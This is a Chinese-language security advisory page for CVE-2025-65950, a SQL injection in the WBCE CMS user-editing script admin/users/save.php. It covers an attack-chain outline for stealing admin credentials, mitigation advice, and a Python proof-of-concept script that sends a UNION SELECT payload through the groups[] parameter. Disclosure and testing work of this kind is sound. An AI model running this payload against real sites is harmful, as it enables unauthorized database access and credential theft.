IPBUF安全漏洞报告
English
CVE-2025-65950 CVSS 8.8 高危

CVE-2025-65950 WBCE CMS SQL注入漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-65950
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WBCE CMS

相关标签

SQL注入WBCE CMS内容管理系统CVE-2025-65950权限绕过数据库泄露

漏洞概述

WBCE CMS是一款开源内容管理系统。在1.6.4及以下版本中,用户管理模块存在严重的SQL注入漏洞。低权限已认证用户通过修改用户权限可以执行任意SQL查询,进而实现完整数据库 compromise、数据泄露,彻底绕过所有安全控制机制。该漏洞源于admin/users/save.php脚本对用户编辑表单中groups[]参数的不当处理,攻击者可利用此漏洞获取数据库敏感信息,包括用户凭证、配置数据等。攻击成功后可进一步进行横向移动或部署后门。

技术细节

漏洞存在于WBCE CMS的admin/users/save.php脚本中,该脚本负责处理用户资料更新。当管理员或具有用户修改权限的低权限用户编辑用户资料时,表单会提交groups[]参数用于指定用户所属的用户组。save.php脚本直接将该参数值拼接到SQL查询语句中,未进行充分的输入验证和参数化查询处理。攻击者可以通过构造特殊的groups[]参数值,注入恶意SQL语句。由于是低权限用户即可利用此漏洞,攻击门槛较低。攻击者可通过UNION SELECT、布尔盲注或时间盲注等技术从数据库中提取敏感信息,如管理员账户和密码哈希,最终实现数据库完整 compromise。

攻击链分析

STEP 1
步骤1
攻击者获取WBCE CMS低权限账户(如普通用户)
STEP 2
步骤2
攻击者访问用户管理模块,具备修改用户权限
STEP 3
步骤3
构造包含恶意SQL payload的groups[]参数
STEP 4
步骤4
向admin/users/save.php发送POST请求触发漏洞
STEP 5
步骤5
利用UNION/盲注技术从数据库提取敏感信息
STEP 6
步骤6
获取管理员凭据,实现数据库完整 compromise

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-65950 WBCE CMS SQL Injection PoC # Target: WBCE CMS <= 1.6.4 # Endpoint: /admin/users/save.php def exploit_sqli(target_url, session_cookie, user_id): """ SQL Injection via groups[] parameter in admin/users/save.php """ # Target endpoint endpoint = f"{target_url}/admin/users/save.php" # Construct malicious payload for groups[] parameter # Using UNION-based SQL injection to extract database version payload = "1' UNION SELECT @@version-- " # Prepare request data data = { 'user_id': user_id, 'groups[]': payload, 'display_name': 'test', 'email': '[email protected]' } # Headers with session cookie headers = { 'Cookie': f'WBCE_SESSION={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting SQLi via groups[] parameter") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent, check response for SQL output") print(f"[*] Response length: {len(response.text)}") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <session_cookie> <user_id>") print(f"Example: {sys.argv[0]} http://target.com 'abc123' 2") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] uid = sys.argv[3] exploit_sqli(target, cookie, uid)

影响范围

WBCE CMS <= 1.6.4

防御指南

临时缓解措施
立即升级WBCE CMS至1.6.5版本。如果无法立即升级,可临时限制用户管理功能的访问权限,禁用非管理员账户的用户编辑功能,并启用数据库查询日志监控异常SQL行为。建议在WAF中配置SQL注入检测规则阻断相关攻击流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表